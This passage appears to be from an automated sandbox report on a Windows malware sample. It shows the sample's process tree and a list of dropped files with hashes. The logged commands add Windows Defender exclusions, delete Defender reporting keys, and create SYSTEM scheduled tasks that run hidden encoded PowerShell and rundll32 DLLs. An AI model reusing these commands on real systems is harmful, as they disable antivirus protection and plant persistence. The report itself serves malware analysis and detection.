                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\cAagwmwWSSyWmtVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:3900
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hzVOasbgcFlU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:4808
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hzVOasbgcFlU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:3428
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZmXCVzpeviUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:1672
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZmXCVzpeviUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:4524
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TewsSzADpkOsC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:484
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TewsSzADpkOsC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:1488
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KpccCTQHFwdaQGGjlLR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:4652
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AplGwAcKU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:752
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                              schtasks /CREATE /TN "gSSPmcStT" /SC once /ST 04:06:51 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                              PID:4520
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                              schtasks /run /I /tn "gSSPmcStT"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:396
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                schtasks /DELETE /F /TN "gSSPmcStT"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:856
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                  schtasks /CREATE /TN "XwMyCejzLOqQPkTJD" /SC once /ST 12:25:25 /RU "SYSTEM" /TR "\"C:\Windows\Temp\tisqMnSmFJrmHkYA\kiXpwMNefFEyhlW\IjieLWz.exe\" Pt /blsite_idzxt 385118 /S" /V1 /F
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                  PID:4300
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                  schtasks /run /I /tn "XwMyCejzLOqQPkTJD"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:1112
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:2220
                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:3800
                                                                                                                                                                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:4328
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AplGwAcKU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:4812
                                                                                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:4512
                                                                                                                                                                                                                                          • \??\c:\windows\system32\gpscript.exe
                                                                                                                                                                                                                                            gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:4812
                                                                                                                                                                                                                                            • C:\Windows\Temp\tisqMnSmFJrmHkYA\kiXpwMNefFEyhlW\IjieLWz.exe
                                                                                                                                                                                                                                              C:\Windows\Temp\tisqMnSmFJrmHkYA\kiXpwMNefFEyhlW\IjieLWz.exe Pt /blsite_idzxt 385118 /S
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:2476
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                  schtasks /DELETE /F /TN "bvgvHgqNgKCzXIKVFa"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:2548
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:1816
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:1788
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                        schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\AplGwAcKU\ivMbGJ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "rzGcUtIiGGHHJZZ" /V1 /F
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                        PID:4120
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                        schtasks /CREATE /TN "rzGcUtIiGGHHJZZ2" /F /xml "C:\Program Files (x86)\AplGwAcKU\GpVjtTS.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                        PID:2824
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                        schtasks /END /TN "rzGcUtIiGGHHJZZ"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:4232
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "rzGcUtIiGGHHJZZ"
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:2732
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                            schtasks /CREATE /TN "znkJCAEyDBfVBb" /F /xml "C:\Program Files (x86)\hzVOasbgcFlU2\uZfEbLP.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                            PID:5012
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                            schtasks /CREATE /TN "sqdcfvEhbfSqC2" /F /xml "C:\ProgramData\cAagwmwWSSyWmtVB\HgTUbAz.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                            PID:2728
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                            schtasks /CREATE /TN "kIZjYIiOiOcCcskeG2" /F /xml "C:\Program Files (x86)\KpccCTQHFwdaQGGjlLR\GSVnSXy.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                            PID:4788
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                            schtasks /CREATE /TN "hLfWoLfTBNTItANDgYs2" /F /xml "C:\Program Files (x86)\TewsSzADpkOsC\mObegGf.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                            PID:5000
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                            schtasks /CREATE /TN "dHRDOHpkQTLgzSbMl" /SC once /ST 04:33:59 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\tisqMnSmFJrmHkYA\iLjTlnmt\endkzFK.dll\",#1 /KUsite_idyJS 385118" /V1 /F
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                            PID:2020
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                            schtasks /run /I /tn "dHRDOHpkQTLgzSbMl"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:2316
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:3936
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:3608
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                  PID:4232
                                                                                                                                                                                                                                                                • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                                  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\tisqMnSmFJrmHkYA\iLjTlnmt\endkzFK.dll",#1 /KUsite_idyJS 385118
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                    PID:4460
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                      c:\windows\system32\rundll32.EXE "C:\Windows\Temp\tisqMnSmFJrmHkYA\iLjTlnmt\endkzFK.dll",#1 /KUsite_idyJS 385118
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:956
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "dHRDOHpkQTLgzSbMl"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:2976

                                                                                                                                                                                                                                                                      Network

                                                                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                                      • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        1.2MB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        b13acfbca9cb6fc56c25b4fea34c6cb5

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        8d94b8e61748a6a69ad3d8ace6f8ad5a600fb0c2

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        9920231a2b95800aa748f573aa624bfde3d4c81e8df5db9b0ab76b83951b163b

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        e0f608b854101e312f45fe2b5b2b0ecf7e0c7de0b6c39a0c57803c4b6b0bbac42fbd5ae931cfddd801e9c893ee193f4b544df68a32872b5aa8e14c6f0324cd88

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        187B

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        2a1e12a4811892d95962998e184399d8

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        136B

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        150B

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        10KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        f1e6068b2e84d77dca2a2fae086b1401

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        187b08e445828451422f4d99b30698968b6d74bb

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        c928ef775a8474aacedfe82b7652da7428b9b267f442d529067038a718a694bb

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        56f8bc04eb21f18a131f724bebf4d19dace7eed1bddc3dc42f38785dcf30ce91753d0c9103957ad00e7352a471e51d1fe735cf8d92b8cb60f447633cdad53298

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        30KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        0d0bf75c2ec83c4762f58e58d29f9ff4

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        a01cc564bf5fcbec1868c9ae141150fbf9a94481

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        c526b45782672ff3d4fb632ebcf5e1c805aa510acc62a021615fd9d548d5f551

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        f44ab8fc0ca883b8535265d2cf6e5b9ed495e283a1a6e1d50febcbc291a03b9e05712fc2bb424ca1570abe12b38b2d195bbba844814f8daa31a0046e12c78174

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        ebb80c4390f979cf421c14153ece71b6

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        3ec4cf97fcc9c82cd773442b007f0d7d20e2305a

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        30e5eff4ed0cf965f112deeebba7b9d8b2b00c01a429ab0869adc6221e5a3263

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        e944c20a6ef5b4feeb0864ca41cb1c04d3f99c7f305e23c5bbc70c993b9eb4cd315699ba6f71cb0bbfaf3521a25f6181c2cfacd7fa5cd00c946db3fb7a21875f

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        1c19c16e21c97ed42d5beabc93391fc5

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        1KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        5d9d20198052a8f7e399df0b1612dff6

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        2889aed1cb4d6060dc76b6afa42c2346b4d93d91

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        edf16f1392632cf5e0529debd34389f3f4a0438abe0e371918b5bd0e778988f3

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        563a256656a71a6e032bede1adb0dce2e5b20cf8cecdc68f80fb129efe954143c56805fbdb500c95034aad6948849cdb61aa66674a5ed114030ee651fdbec583

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        1KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        43e74787c57725a76efea906ba774826

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        42019af74635d01f2e4480261c8f0376bf98846c

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        5e4c3a6cf19ed4cc85afac9a52fc8158e933015c323d33f18009371875376d4d

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        d372c8e4e038d3ac1c33ab4bf7ae191a146d2804f5a0b3590117297c333ed85cb22591dbb1b826b43c9ee5ee6f13fee631d7cd4a7e95c59919469a11f033a152

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\additional_file0.tmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        352KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        46d4b4021262e6255af6e7226c1704af

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        8d94f7fe8c8a4fef795fdea232d66e3d3a3f7932

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        3374c53b7ae6a62a2cc1c92857d32deb9aae66d6a200a85421b7239ac4a15357

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        0f7a75e00eb5317b7c3fc8327e561f2b79b5ca2403249b2564e533c8a2109135960c0b99911f7144038d128d19cd9bc5a5136ab35064307946a75fd409b18b35

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        280KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        aeea589829ccc27b510380a891b31401

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        09bf80a94f9f4a12e6efd2d8b6f838bac27560a3

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        40c559e3e6245a3971ffd5c2ed85d3038febb21b04a95294c114d1164d31242b

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        b15c1e44e9caa38c9872c33f350b38c72cbe42f02df14e1001e7e34bd4e05386d8e7858493474c268e3ee51ac552462c54ed52c844a253ff838966e1ae174b91

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        523KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        9ff3243b271b5b961271bf459b24960a

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        71496a86a5df04aef1095a8c684bec49a8e46c89

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        79b6144e4c24df501dfd1e0e954fefd66f656413e99e403bee77c48f74a277d3

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        fdfea76c12badd4fb560eb49280dd0c3e674cebde408186d45fd3c390fd6f598e85655c5541a1a57b33a25f4d8a3931626eff416f211b15d10c0714e3c54316b

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\assistant_installer.exe

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        276KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        678d5818c24950683466bf47817f7b2b

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        69229cfe4b6a8555c4dca2e6aa43b62634bde48e

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        97068e2f1ed4697ad2a7cf422dca2a81c0e59aef5942da03f7be709fcb84a50e

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        85f825f32a44e11d0c1e0b019ab90aceb64986e32d4e32b3ed5e8500f00b70a7ede35d511d86aec81420fe5bcf2a6ff3ac4bff1661cfcaed9f65c304db4aab26

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\assistant_installer.exe

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        232KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        e2b0777ba7cadb724db97b10b7929976

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        b3cc3eab1a62e692fea1d6a8ffb3868631b6201f

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        a361794ce9b053705f16812b5f2fe3105cff470d72cf292b99de601ad64527ed

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        d3a62860db8e0f3dbffadcdedf34ab98faa212e71fe4e81f9f13b189971fe27d699b269355014d57fcc87ff4951444d16645de7b2aaa073e13bd756c590bb2a2

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\dbghelp.dll

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        445KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        6ab31484e3db1c21bbba806bc9e6082b

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        c3c73ff8ebf01b27e0c3fd20bcaf7bd4776cb42e

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        ac1c48173b6a72352525b47c6acfc29a294c84e39fb502321aecc6005906cede

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        4f4c6ee6ac291017794dd559763fd78bfbb820ddfce9bb0c333565323ebd90e52eb8a417aac39109d64005a473110b35df5f1abd8f05a797c9b983d9b77dcf92

                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\opera_package

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        73KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        b253ae7018eb24eb7d6cea7c670a141a

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        0ffbcd9aed2746c70037bd19c0aa70619f2fae08

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        5fce4438f99d9fa551a6783897b39ae6b15a785aa80eba82faf86f2386817a4f

                                                                                                                                                                                                                                                                        SHA512

